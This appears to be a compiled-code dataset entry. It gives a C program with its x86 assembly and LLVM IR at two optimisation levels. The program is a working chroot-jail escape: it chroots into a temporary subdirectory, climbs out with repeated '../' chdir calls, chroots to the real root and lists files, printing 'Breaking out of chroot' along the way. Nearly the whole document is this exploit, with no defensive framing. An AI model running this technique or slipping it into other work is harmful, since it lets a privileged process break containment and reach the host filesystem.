#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ EXIT_FAILURE;
int /*<<< orphan*/ chdir(char *);
int chroot(char *);
int /*<<< orphan*/ execlp(char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int /*<<< orphan*/ getcwd(char *, int);
int /*<<< orphan*/ mkdir(char *, int);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ rmdir(char *);
int stat(char *, struct stat *);
int main(void) {
  char buf[1024];
  getcwd(buf, 1024);
  printf("current working directory: %s\n", buf);
  struct stat statBuf;
  if (stat("/Makefile", &statBuf) == -1)
    perror("stat(/Makefile)");
  else
    printf("/Makefile");
  if (chroot(buf) == -1) {
    perror("chroot");
    printf("Have you tried running this as root?\n");
    exit(EXIT_FAILURE);
  }
  getcwd(buf, 1024);
  printf("current working directory: %s\n", buf);
  if (stat("/Makefile", &statBuf) == -1)
    perror("stat(/Makefile)");
  else
    printf("found /Makefile\n");
  printf("Breaking out of chroot....\n");
  mkdir("chroot.temp", 0777);
  chroot("chroot.temp");
  rmdir("chroot.temp");
  getcwd(buf, 1024);
  printf("current working directory (escape part 1): %s\n", buf);
  chdir("../../../../../../../../../../../../../../");
  getcwd(buf, 1024);
  printf("current working directory (escape part 2): %s\n", buf);
  chroot(".");
  getcwd(buf, 1024);
  printf("current working directory (escape part 3): %s\n", buf);
  printf("listing of files in this directory\n");
  execlp("ls", "/", NULL);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x420,%rsp
movl   $0x0,-0x4(%rbp)
lea    -0x410(%rbp),%rdi
mov    $0x400,%esi
call   1080 <getcwd@plt>
lea    -0x410(%rbp),%rsi
lea    0xe2f(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    0xe40(%rip),%rdi
lea    -0x418(%rbp),%rsi
call   1090 <stat@plt>
cmp    $0xffffffff,%eax
jne    1205 <main+0x65>
lea    0xe2e(%rip),%rdi
call   10a0 <perror@plt>
jmp    1213 <main+0x73>
lea    0xe13(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    -0x410(%rbp),%rdi
call   1030 <chroot@plt>
cmp    $0xffffffff,%eax
jne    1250 <main+0xb0>
lea    0xe0a(%rip),%rdi
call   10a0 <perror@plt>
lea    0xe05(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    0x2d97(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
lea    -0x410(%rbp),%rdi
mov    $0x400,%esi
call   1080 <getcwd@plt>
lea    -0x410(%rbp),%rsi
lea    0xd91(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    0xda2(%rip),%rdi
lea    -0x418(%rbp),%rsi
call   1090 <stat@plt>
cmp    $0xffffffff,%eax
jne    12a3 <main+0x103>
lea    0xd90(%rip),%rdi
call   10a0 <perror@plt>
jmp    12b1 <main+0x111>
lea    0xdbc(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    0xdbf(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    0xdcd(%rip),%rdi
mov    $0x1ff,%esi
call   1040 <mkdir@plt>
lea    0xdbc(%rip),%rdi
call   1030 <chroot@plt>
lea    0xdb0(%rip),%rdi
call   1050 <rmdir@plt>
lea    -0x410(%rbp),%rdi
mov    $0x400,%esi
call   1080 <getcwd@plt>
lea    -0x410(%rbp),%rsi
lea    0xd98(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    0xdb9(%rip),%rdi
call   1060 <chdir@plt>
lea    -0x410(%rbp),%rdi
mov    $0x400,%esi
call   1080 <getcwd@plt>
lea    -0x410(%rbp),%rsi
lea    0xdc0(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    0xde1(%rip),%rdi
call   1030 <chroot@plt>
lea    -0x410(%rbp),%rdi
mov    $0x400,%esi
call   1080 <getcwd@plt>
lea    -0x410(%rbp),%rsi
lea    0xdbf(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    0xde0(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    0xdf6(%rip),%rdi
lea    0xd69(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   10c0 <execlp@plt>
mov    -0x4(%rbp),%eax
add    $0x420,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
sub    $0x410,%rsp
lea    0x10(%rsp),%rbx
mov    %rbx,%rdi
mov    $0x400,%esi
call   1090 <getcwd@plt>
lea    0xe2f(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
lea    0xf21(%rip),%rdi
lea    0x8(%rsp),%rsi
call   10a0 <stat@plt>
cmp    $0xffffffff,%eax
je     1332 <main+0x182>
lea    0xf07(%rip),%rdi
xor    %eax,%eax
call   1080 <printf@plt>
lea    0x10(%rsp),%rdi
call   1030 <chroot@plt>
cmp    $0xffffffff,%eax
je     1354 <main+0x1a4>
lea    0x10(%rsp),%rbx
mov    %rbx,%rdi
mov    $0x400,%esi
call   1090 <getcwd@plt>
lea    0xdd1(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
lea    0xec3(%rip),%rdi
lea    0x8(%rsp),%rsi
call   10a0 <stat@plt>
cmp    $0xffffffff,%eax
je     1343 <main+0x193>
lea    0xea3(%rip),%rdi
call   1050 <puts@plt>
lea    0xea7(%rip),%rdi
call   1050 <puts@plt>
lea    0xdc4(%rip),%rbx
mov    %rbx,%rdi
mov    $0x1ff,%esi
call   1040 <mkdir@plt>
mov    %rbx,%rdi
call   1030 <chroot@plt>
mov    %rbx,%rdi
call   1060 <rmdir@plt>
lea    0x10(%rsp),%rbx
mov    %rbx,%rdi
mov    $0x400,%esi
call   1090 <getcwd@plt>
lea    0xd9a(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
lea    0xdb8(%rip),%rdi
call   1070 <chdir@plt>
mov    %rbx,%rdi
mov    $0x400,%esi
call   1090 <getcwd@plt>
lea    0xdca(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
lea    0xe43(%rip),%rdi
call   1030 <chroot@plt>
mov    %rbx,%rdi
mov    $0x400,%esi
call   1090 <getcwd@plt>
lea    0xdcf(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
lea    0xe1b(%rip),%rdi
call   1050 <puts@plt>
lea    0xde1(%rip),%rdi
lea    0xd7a(%rip),%rsi
xor    %edx,%edx
call   10d0 <execlp@plt>
xor    %eax,%eax
add    $0x410,%rsp
pop    %rbx
ret
lea    0xce6(%rip),%rdi
call   10b0 <perror@plt>
jmp    1203 <main+0x53>
lea    0xcd5(%rip),%rdi
call   10b0 <perror@plt>
jmp    125f <main+0xaf>
lea    0xcd4(%rip),%rdi
call   10b0 <perror@plt>
lea    0xde4(%rip),%rdi
call   1050 <puts@plt>
mov    0x2c6d(%rip),%rax
mov    (%rax),%edi
call   10c0 <exit@plt>

LLVM IR (-O0):
%struct.stat = type { i32 }
@.str = [31 x i8] c"current working directory: %s\0A\00"
@.str.1 = [10 x i8] c"/Makefile\00"
@.str.2 = [16 x i8] c"stat(/Makefile)\00"
@.str.3 = [7 x i8] c"chroot\00"
@.str.4 = [38 x i8] c"Have you tried running this as root?\0A\00"
@EXIT_FAILURE = global i32 0
@.str.5 = [17 x i8] c"found /Makefile\0A\00"
@.str.6 = [28 x i8] c"Breaking out of chroot....\0A\00"
@.str.7 = [12 x i8] c"chroot.temp\00"
@.str.8 = [47 x i8] c"current working directory (escape part 1): %s\0A\00"
@.str.9 = [43 x i8] c"../../../../../../../../../../../../../../\00"
@.str.10 = [47 x i8] c"current working directory (escape part 2): %s\0A\00"
@.str.11 = [2 x i8] c".\00"
@.str.12 = [47 x i8] c"current working directory (escape part 3): %s\0A\00"
@.str.13 = [36 x i8] c"listing of files in this directory\0A\00"
@.str.14 = [3 x i8] c"ls\00"
@.str.15 = [2 x i8] c"/\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca [1024 x i8]
%3 = alloca %struct.stat
store i32 0, i32* %1
%4 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%5 = call i32 @getcwd(i8* %4, i32 1024)
%6 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%7 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str, i64 0, i64 0), i8* %6)
%8 = call i32 @stat(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), %struct.stat* %3)
%9 = icmp eq i32 %8, -1
br i1 %9, label %10, label %12
10: ; preds = %0
%11 = call i32 @perror(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0))
br label %14
12: ; preds = %0
%13 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0))
br label %14
14: ; preds = %12, %10
%15 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%16 = call i32 @chroot(i8* %15)
%17 = icmp eq i32 %16, -1
br i1 %17, label %18, label %23
18: ; preds = %14
%19 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0))
%20 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.4, i64 0, i64 0))
%21 = load i32, i32* @EXIT_FAILURE
%22 = call i32 @exit(i32 %21)
unreachable
23: ; preds = %14
%24 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%25 = call i32 @getcwd(i8* %24, i32 1024)
%26 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%27 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str, i64 0, i64 0), i8* %26)
%28 = call i32 @stat(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), %struct.stat* %3)
%29 = icmp eq i32 %28, -1
br i1 %29, label %30, label %32
30: ; preds = %23
%31 = call i32 @perror(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0))
br label %34
32: ; preds = %23
%33 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.5, i64 0, i64 0))
br label %34
34: ; preds = %32, %30
%35 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.6, i64 0, i64 0))
%36 = call i32 @mkdir(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.7, i64 0, i64 0), i32 511)
%37 = call i32 @chroot(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.7, i64 0, i64 0))
%38 = call i32 @rmdir(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.7, i64 0, i64 0))
%39 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%40 = call i32 @getcwd(i8* %39, i32 1024)
%41 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%42 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([47 x i8], [47 x i8]* @.str.8, i64 0, i64 0), i8* %41)
%43 = call i32 @chdir(i8* getelementptr inbounds ([43 x i8], [43 x i8]* @.str.9, i64 0, i64 0))
%44 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%45 = call i32 @getcwd(i8* %44, i32 1024)
%46 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%47 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([47 x i8], [47 x i8]* @.str.10, i64 0, i64 0), i8* %46)
%48 = call i32 @chroot(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.11, i64 0, i64 0))
%49 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%50 = call i32 @getcwd(i8* %49, i32 1024)
%51 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%52 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([47 x i8], [47 x i8]* @.str.12, i64 0, i64 0), i8* %51)
%53 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str.13, i64 0, i64 0))
%54 = call i32 @execlp(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.14, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.15, i64 0, i64 0), i32* null)
%55 = load i32, i32* %1
ret i32 %55
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@.str = [31 x i8] c"current working directory: %s\0A\00"
@.str.1 = [10 x i8] c"/Makefile\00"
@.str.2 = [16 x i8] c"stat(/Makefile)\00"
@.str.3 = [7 x i8] c"chroot\00"
@EXIT_FAILURE = global i32 0
@.str.7 = [12 x i8] c"chroot.temp\00"
@.str.8 = [47 x i8] c"current working directory (escape part 1): %s\0A\00"
@.str.9 = [43 x i8] c"../../../../../../../../../../../../../../\00"
@.str.10 = [47 x i8] c"current working directory (escape part 2): %s\0A\00"
@.str.11 = [2 x i8] c".\00"
@.str.12 = [47 x i8] c"current working directory (escape part 3): %s\0A\00"
@.str.14 = [3 x i8] c"ls\00"
@.str.15 = [2 x i8] c"/\00"
@str = [16 x i8] c"found /Makefile\00"
@str.16 = [27 x i8] c"Breaking out of chroot....\00"
@str.17 = [35 x i8] c"listing of files in this directory\00"
@str.18 = [37 x i8] c"Have you tried running this as root?\00"
define i32 @main() {
%1 = alloca [1024 x i8]
%2 = alloca %struct.stat
%3 = getelementptr inbounds [1024 x i8], [1024 x i8]* %1, i64 0, i64 0
%4 = call i32 @getcwd(i8* %3, i32 1024)
%5 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([31 x i8], [31 x i8]* @.str, i64 0, i64 0), i8* %3)
%6 = bitcast %struct.stat* %2 to i8*
%7 = call i32 @stat(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), %struct.stat* %2)
%8 = icmp eq i32 %7, -1
br i1 %8, label %9, label %11
9: ; preds = %0
%10 = call i32 @perror(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0))
br label %13
11: ; preds = %0
%12 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0))
br label %13
13: ; preds = %11, %9
%14 = call i32 @chroot(i8* %3)
%15 = icmp eq i32 %14, -1
br i1 %15, label %16, label %21
16: ; preds = %13
%17 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0))
%18 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([37 x i8], [37 x i8]* @str.18, i64 0, i64 0))
%19 = load i32, i32* @EXIT_FAILURE
%20 = call i32 @exit(i32 %19)
unreachable
21: ; preds = %13
%22 = call i32 @getcwd(i8* %3, i32 1024)
%23 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([31 x i8], [31 x i8]* @.str, i64 0, i64 0), i8* %3)
%24 = call i32 @stat(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), %struct.stat* %2)
%25 = icmp eq i32 %24, -1
br i1 %25, label %26, label %28
26: ; preds = %21
%27 = call i32 @perror(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0))
br label %30
28: ; preds = %21
%29 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([16 x i8], [16 x i8]* @str, i64 0, i64 0))
br label %30
30: ; preds = %28, %26
%31 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @str.16, i64 0, i64 0))
%32 = call i32 @mkdir(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.7, i64 0, i64 0), i32 511)
%33 = call i32 @chroot(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.7, i64 0, i64 0))
%34 = call i32 @rmdir(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.7, i64 0, i64 0))
%35 = call i32 @getcwd(i8* %3, i32 1024)
%36 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([47 x i8], [47 x i8]* @.str.8, i64 0, i64 0), i8* %3)
%37 = call i32 @chdir(i8* getelementptr inbounds ([43 x i8], [43 x i8]* @.str.9, i64 0, i64 0))
%38 = call i32 @getcwd(i8* %3, i32 1024)
%39 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([47 x i8], [47 x i8]* @.str.10, i64 0, i64 0), i8* %3)
%40 = call i32 @chroot(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.11, i64 0, i64 0))
%41 = call i32 @getcwd(i8* %3, i32 1024)
%42 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([47 x i8], [47 x i8]* @.str.12, i64 0, i64 0), i8* %3)
%43 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([35 x i8], [35 x i8]* @str.17, i64 0, i64 0))
%44 = call i32 @execlp(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.14, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.15, i64 0, i64 0), i32* null)
ret i32 0
}